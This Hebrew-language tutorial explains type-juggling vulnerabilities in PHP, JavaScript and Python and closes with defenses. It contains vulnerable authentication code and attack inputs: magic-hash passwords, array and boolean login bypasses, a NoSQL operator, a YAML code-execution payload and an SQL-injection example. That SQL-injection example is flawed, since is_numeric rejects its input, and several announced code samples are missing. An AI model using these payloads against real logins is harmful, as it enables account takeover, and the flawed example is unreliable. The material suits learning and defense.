בלבול טיפוסים - Type Juggling¶
מהו בלבול טיפוסים¶
בלבול טיפוסים (Type Juggling) הוא exploit ההתנהגות של שפות תכנות שמבצעות המרת טיפוסים אוטומטית בזמן השוואה או פעולות חשבוניות. הבעיה הבולטת ביותר היא ב-PHP, אבל קיימת גם ב-JavaScript ובשפות נוספות.
כשאפליקציה משתמשת בהשוואה רופפת (loose comparison) במקום השוואה מחמירה (strict comparison), תוקף יכול לשלוח קלט מטיפוס שונה שיעבור את הבדיקה בצורה בלתי צפויה.
השוואה רופפת מול מחמירה ב-PHP¶
ההבדל בין == ל-===¶
// Loose comparison - == (performs type conversion)
var_dump(0 == "password"); // true! (string -> int = 0)
var_dump("0" == false); // true!
var_dump("" == false); // true!
var_dump(null == false); // true!
var_dump("0" == null); // false
var_dump("1" == "01"); // true! (both -> int 1)
var_dump("1" == "1.0"); // true!
var_dump(0 == "0e12345"); // true! (0 == 0)
// Strict comparison - === (also checks the type)
var_dump(0 === "password"); // false
var_dump("0" === false); // false
var_dump("1" === "01"); // false
טבלת השוואה רופפת ב-PHP¶
| true | false | 1 | 0 | -1 | "1" | "0" | "" | null
---------|-------|-------|------|------|------|------|------|------|------
true | true | false | true | false| true | true | false| false| false
false | false | true | false| true | false| false| true | true | true
1 | true | false | true | false| false| true | false| false| false
0 | false | true | false| true | false| false| true | false*| false*
"php" | true | false | false| true*| false| false| false| false| false
* In PHP < 8.0 (different in PHP 8.0+!)
הערה חשובה: ב-PHP 8.0 שינו את ההתנהגות של 0 == "string" ל-false. אבל גרסאות ישנות יותר עדיין נפוצות מאוד.
האשים קסומים - Magic Hashes¶
מהם האשים קסומים¶
ב-PHP, מחרוזות שמתחילות ב-0e ואחריהן רק ספרות מפורשות כסימון מדעי (scientific notation) בהשוואה רופפת:
"0e462097431906509019562988736854" == "0" // true!
// because PHP interprets "0e..." as 0 * 10^462... = 0
// and "0" = 0
// so 0 == 0 -> true
דוגמאות של magic hashes¶
ערכים שה-MD5 שלהם מתחיל ב-0e ואחריו רק ספרות:
MD5 Magic Hashes:
=================
String: "240610708"
MD5: "0e462097431906509019562988736854"
String: "QNKCDZO"
MD5: "0e830400451993494058024219903391"
String: "aabg7XSs"
MD5: "0e087386482136013740957780965295"
SHA1 Magic Hashes:
==================
String: "aaroZmOk"
SHA1: "0e66507019969427134894567494305185566735"
String: "aaK1STfY"
SHA1: "0e76658526655756207688271159624026011393"
הexploit בעיסקה - Exploitation¶
קוד אימות פגיע:
// Vulnerable - loose comparison of a hash
function verifyPassword($input, $storedHash) {
$inputHash = md5($input);
if ($inputHash == $storedHash) {
return true; // authenticated!
}
return false;
}
// Scenario:
// The victim's password: "240610708"
// hash: "0e462097431906509019562988736854"
//
// The attacker sends: "QNKCDZO"
// hash: "0e830400451993494058024219903391"
//
// "0e462..." == "0e830..." -> 0 == 0 -> true!
// The attacker logs in with the wrong password!
הbypass אימות באמצעות מניפולציית טיפוסים ב-JSON¶
שליחת true במקום סיסמה¶
ב-PHP, כאשר אפליקציה מקבלת JSON ומשווה עם ==:
$data = json_decode(file_get_contents('php://input'), true);
// Vulnerable!
if ($data['password'] == $storedPassword) {
// authenticated
}
בקשה תקינה:
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": "secretpassword123"}
בקשת תקיפה:
למה זה עובד:
ב-JSON ניתן לשלוח true כערך בוליאני (לא כמחרוזת "true"). ב-PHP, true בהשוואה רופפת שווה לכל מחרוזת לא ריקה.
שליחת 0 במקום סיסמה¶
הbypass strcmp¶
הפונקציה strcmp() ב-PHP מחזירה 0 אם המחרוזות שוות, ערך שלילי או חיובי אם לא. אבל כשמעבירים לה מערך במקום מחרוזת:
// Vulnerable
if (strcmp($input, $password) == 0) {
// authenticated
}
// If $input is an array:
strcmp([], "password") // returns NULL + PHP Warning
NULL == 0 // true!
בקשת תקיפה:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[]=anything
ב-PHP, שליחת password[] יוצרת מערך במקום מחרוזת. strcmp מקבלת מערך, מחזירה NULL, ו-NULL == 0 זה true.
הbypass intval ו-is_numeric¶
הbypass is_numeric¶
is_numeric("0xdeadbeef") // true in PHP < 7.0!
is_numeric("1e5") // true (100000)
is_numeric(" 123 ") // true (whitespace ignored)
הbypass intval¶
intval("1337") // 1337
intval("1337abc") // 1337 (ignores non-numeric characters)
intval("0x539") // 0 (no hex support by default)
intval("0x539", 16) // 1337
// Exploit: bypass check
if (intval($input) <= 100) {
// "101abc" -> intval = 101, won't pass
// but what if the value is later used as a string?
}
שימוש מעשי¶
// Vulnerable code - age check
$age = $_POST['age'];
if (is_numeric($age) && intval($age) >= 18) {
// Access granted
$query = "SELECT * FROM users WHERE age = $age";
// if $age = "18 OR 1=1" -> intval = 18, passes the check
// but in the query: "... WHERE age = 18 OR 1=1" -> SQLi!
}
בלבול טיפוסים ב-JavaScript¶
כפייה מרומזת - Type Coercion¶
// Loose comparison
console.log(0 == ""); // true
console.log(0 == "0"); // true
console.log("" == false); // true
console.log([] == false); // true
console.log(null == undefined); // true
// Arithmetic operations
console.log("5" - 3); // 2 (string -> number)
console.log("5" + 3); // "53" (number -> string!)
console.log(true + true); // 2
// Surprising comparisons
console.log([] == 0); // true
console.log([] == ""); // true
console.log({} == "[object Object]"); // false (!)
הexploit ב-Node.js¶
// Vulnerable code
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = db.findUser(username);
// Vulnerable - loose comparison
if (user && user.password == password) {
createSession(user);
return res.json({ success: true });
}
res.status(401).json({ error: 'Invalid credentials' });
});
ב-Express, אם שולחים JSON, password יכול להיות כל טיפוס:
בדוגמה הזו, אם בסיס הנתונים הוא MongoDB, {"$gt": ""} הוא אופרטור NoSQL שאומר "גדול ממחרוזת ריקה" - כל סיסמה תעבור.
בלבול טיפוסים ב-Python¶
Python בדרך כלל מחמירה יותר, אבל יש מקרים:
# Python doesn't do type coercion in ==
0 == "0" # False (unlike PHP)
# But in boolean comparisons:
bool(0) # False
bool("") # False
bool([]) # False
bool(None) # False
# Exploit - YAML deserialization
import yaml
data = yaml.load("password: !!python/object/apply:os.system ['id']")
# The "password" value turns into code execution!
# Exploit - JSON schema bypass
import json
data = json.loads('{"isAdmin": true}')
# data['isAdmin'] is True (boolean, not a string)
if data.get('isAdmin'):
grant_admin() # attacker sends true and gets permissions
הexploit פרקטי ב-Flask¶
@app.route('/verify', methods=['POST'])
def verify():
data = request.get_json()
token = data.get('token')
expected = get_expected_token()
# Vulnerable if expected is None or 0
if token == expected:
return jsonify({'verified': True})
# Attack: send {"token": null}
# if expected is None: None == None -> True
# Attack: send {"token": 0}
# if expected is 0 (or False): 0 == 0 -> True
דוגמה מקיפה - מערכת אימות פגיעה ב-PHP¶
class AuthController {
public function login($request) {
$username = $request->input('username');
$password = $request->input('password');
$user = User::where('username', $username)->first();
if (!$user) {
return response()->json(['error' => 'User not found'], 404);
}
// Vulnerability 1: loose comparison
if (md5($password) == $user->password_hash) {
return $this->createSession($user);
}
// Vulnerability 2: strcmp with ==
if (strcmp($password, $user->api_key) == 0) {
return $this->createSession($user);
}
// Vulnerability 3: token check
$token = $request->input('reset_token');
if ($token == $user->reset_token) {
return $this->createSession($user);
}
return response()->json(['error' => 'Authentication failed'], 401);
}
}
וקטורי תקיפה:
-- Attack 1: Magic Hash
POST /login HTTP/1.1
Content-Type: application/json
{"username": "victim", "password": "240610708"}
-- Attack 2: Array bypass on strcmp
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=victim&password[]=anything
-- Attack 3: Boolean bypass on reset_token
POST /login HTTP/1.1
Content-Type: application/json
{"username": "victim", "reset_token": true}
-- Attack 4: Integer bypass (PHP < 8.0)
POST /login HTTP/1.1
Content-Type: application/json
{"username": "victim", "password": 0}
הגנות¶
שימוש בהשוואה מחמירה¶
המרת טיפוסים מפורשת¶
// Vulnerable
$quantity = $_POST['quantity'];
// Protected
$quantity = (int) $_POST['quantity'];
if ($quantity <= 0) {
throw new InvalidArgumentException('Invalid quantity');
}
ולידציית טיפוס קלט¶
// Verify that the input is a string
function validateStringInput($input): string {
if (!is_string($input)) {
throw new InvalidArgumentException('Expected string input');
}
return $input;
}
// Usage
$password = validateStringInput($request->input('password'));
שימוש ב-password_verify¶
// Vulnerable - manual hash comparison
if (md5($password) == $storedHash) { ... }
// Protected - password_verify performs a safe comparison
if (password_verify($password, $storedHash)) { ... }
שימוש ב-hash_equals¶
// Vulnerable - regular comparison (also vulnerable to timing attacks)
if ($token == $expectedToken) { ... }
// Protected - safe constant-time comparison
if (hash_equals($expectedToken, $token)) { ... }
סיכום¶
בלבול טיפוסים הוא חולשה מסוכנת במיוחד כי הקוד נראה תקין לחלוטין. הנקודות המרכזיות:
- ב-PHP, תמיד השתמשו ב-
===ולא ב-== - חפשו פונקציות כמו
strcmp,intval,is_numericשניתנות לbypass - ב-JSON, אפשר לשלוח טיפוסים שונים -
true,0,null, מערכים - ב-magic hashes, ערכי hash שמתחילים ב-
0eשווים לאפס בהשוואה רופפת - בדקו גם JavaScript ו-Python עבור בעיות דומות
- הגנה: השוואה מחמירה, המרת טיפוסים מפורשת, ולידציית קלט